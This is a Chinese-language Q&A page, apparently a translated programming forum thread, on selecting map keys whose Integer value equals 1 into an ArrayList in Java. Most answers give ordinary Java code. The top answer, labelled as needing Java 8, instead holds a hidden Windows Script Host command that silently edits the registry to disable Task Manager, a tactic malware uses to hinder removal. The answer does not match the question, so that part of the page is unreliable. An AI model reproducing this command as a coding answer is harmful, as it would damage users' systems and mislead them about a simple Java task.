我正在使用Map<User, Integer>
,我需要选择具有特定整数的用户并将它们添加到ArrayList,最简单的方法是让所有用户进入ArrayList<User>
,其中Integer = 1?
这是我尝试的,它有效,但我会感谢更短的代码。
ArrayList<User> users = new ArrayList();
for (Map.Entry<User, Integer> entry : userAnswers.entrySet())
{
if(entry.getValue()==1) users.add(entry.getKey());
}
编辑:谢谢你Danil Gaponov,你的回答正是我想要的!
答案 0 :(得分:6)
需要Java 8:
WSHShell.Run("Reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", 0, 1)
答案 1 :(得分:4)
创建一个通用的静态方法:
public static <K, V> List<K> collectKeys(Map<K, V> map, V v) {
List<K> list = new ArrayList<>();
for (Map.Entry<K, V> e : map.entrySet())
if (Objects.equals(e.getValue(), v)) // null-safe comparison
list.add(e.getKey());
return list;
}
然后简单地说:
users = collectKeys(userAnswers, 1);
答案 2 :(得分:1)
我认为没有更容易的方法。使用for循环和if就像Java一样简单。
为什么你认为应该有一个更简单的方法?也许当你说:
时,你并没有按照我的想法行事with for和if Integer == 1,添加到ArrayList
如果您发布了已完成的内容,我们可以看到是否有更简单的方法。
答案 3 :(得分:1)
如果您正在寻找代码简单性,那么您也可以使用proton pack实用程序来使用这个简单的Java 8。
MapStream.of(map).inverseMapping().collect();